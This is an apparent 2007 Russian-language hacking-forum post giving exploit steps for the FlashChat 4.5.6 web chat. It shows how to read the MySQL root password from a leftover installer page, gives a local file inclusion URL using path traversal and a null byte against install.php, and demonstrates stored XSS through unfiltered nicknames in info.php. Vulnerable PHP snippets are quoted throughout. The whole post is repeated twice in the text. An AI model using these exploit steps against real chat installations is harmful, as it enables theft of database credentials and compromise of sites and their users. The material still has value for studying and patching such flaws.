Goudini
01.05.2007, 12:17
Здрасвуйте, сегодня я покажу несколько найденых уязвимостей в чате FlashChat v 4.5.6. Тестил на старой версии, т.к. не было возомжности потестить на новой.
Возможно баги существуют в новых версиях.
Найденное мною ранее: пасивная xss в движке чата (http://forum.antichat.ru/showthread.php?p=279157)
Итак приступим!
Часто бывает что админы не удаляют установочные файлы .
Если это так, то, возможно, мы увидим такой текст:
Welcome to FlashChat v 4.5.6
Security alert!
install.php, or the install_files folder, are still present on your server.
Please remove these files before continuing.
======================
Узнаём пароль на MySQL
======================
Перейдём ко второму шагу установки чата
http://server.omg.ru/chat/install.php?step=2
Увидим примерно такое:
FlashChat 4.5.6 Installer
Step 2: Database Configuration
........
Database Name: flashchat
Database User: root
Database Password: ****
.......
Пароль на MySQL выводиться в html-форме под звёздочками.
<INPUT type="password" size="40" name="password" value="<?php echo $dbpass ?>" <?php if($useCMS) echo 'disabled';?>>
смотрим html код:
<INPUT type="password" size="40" name="password" value="89f732r" >
в данном случае 89f732r - это и есть пароль, пользователь - root.
===================
Локальный инклудинГ
===================
Всё те же файлы установки...
Приведу кусок кода с файла install.php:
$step = $_GET['step'];
if( ! $step || $step<0 || $step>8)
{
$step = 1;
}
include "./install_files/step_$step.php";
http://server.omg.ru/chat/install.php?step=2'
Ошибка, файл не найден
Warning: include(./install_files/step_2\'.php) [function.include]: failed to open stream: No such file or directory in \home\omg\htdocs\chat\install.php on line 18
Warning: include() [function.include]: Failed opening './install_files/step_2\'.php' for inclusion (include_path='.;C:\php5\pear') in \home\omg\htdocs\chat\install.php on line 18
Теперь, можно произвести локальный инклуд файлов,если это позволит php.
http://server.omg.ru/chat/install.php?step=2.php/../../index.php%00
откроет главную страницу чата :)
============
Активная xsS
============
Плохая проверка имён в файле info.php
<?php foreach($rooms as $room) { ?>
<tr>
<td><?php echo $room['id']?></td>
<td><?php echo $room['name']?></td>
<td><?php echo numusers($room['id'])?></td>
<td><?php
$users = usersinroom($room['id']);
foreach( $users as $user ) {
echo $user['login'] . "<br>";
}
?> </td>
</tr>
<?php } ?>
Переменная $user['login'] (и не только она) не фильтруеться перед выводом в браузер.
Если войти в чат с ником <h1>mda</h1>,то при обращении к файле info.php увидим наш текст :)
/me Goudini - 2007
Возможно баги существуют в новых версиях.
Найденное мною ранее: пасивная xss в движке чата (http://forum.antichat.ru/showthread.php?p=279157)
Итак приступим!
Часто бывает что админы не удаляют установочные файлы .
Если это так, то, возможно, мы увидим такой текст:
Welcome to FlashChat v 4.5.6
Security alert!
install.php, or the install_files folder, are still present on your server.
Please remove these files before continuing.
======================
Узнаём пароль на MySQL
======================
Перейдём ко второму шагу установки чата
http://server.omg.ru/chat/install.php?step=2
Увидим примерно такое:
FlashChat 4.5.6 Installer
Step 2: Database Configuration
........
Database Name: flashchat
Database User: root
Database Password: ****
.......
Пароль на MySQL выводиться в html-форме под звёздочками.
<INPUT type="password" size="40" name="password" value="<?php echo $dbpass ?>" <?php if($useCMS) echo 'disabled';?>>
смотрим html код:
<INPUT type="password" size="40" name="password" value="89f732r" >
в данном случае 89f732r - это и есть пароль, пользователь - root.
===================
Локальный инклудинГ
===================
Всё те же файлы установки...
Приведу кусок кода с файла install.php:
$step = $_GET['step'];
if( ! $step || $step<0 || $step>8)
{
$step = 1;
}
include "./install_files/step_$step.php";
http://server.omg.ru/chat/install.php?step=2'
Ошибка, файл не найден
Warning: include(./install_files/step_2\'.php) [function.include]: failed to open stream: No such file or directory in \home\omg\htdocs\chat\install.php on line 18
Warning: include() [function.include]: Failed opening './install_files/step_2\'.php' for inclusion (include_path='.;C:\php5\pear') in \home\omg\htdocs\chat\install.php on line 18
Теперь, можно произвести локальный инклуд файлов,если это позволит php.
http://server.omg.ru/chat/install.php?step=2.php/../../index.php%00
откроет главную страницу чата :)
============
Активная xsS
============
Плохая проверка имён в файле info.php
<?php foreach($rooms as $room) { ?>
<tr>
<td><?php echo $room['id']?></td>
<td><?php echo $room['name']?></td>
<td><?php echo numusers($room['id'])?></td>
<td><?php
$users = usersinroom($room['id']);
foreach( $users as $user ) {
echo $user['login'] . "<br>";
}
?> </td>
</tr>
<?php } ?>
Переменная $user['login'] (и не только она) не фильтруеться перед выводом в браузер.
Если войти в чат с ником <h1>mda</h1>,то при обращении к файле info.php увидим наш текст :)
/me Goudini - 2007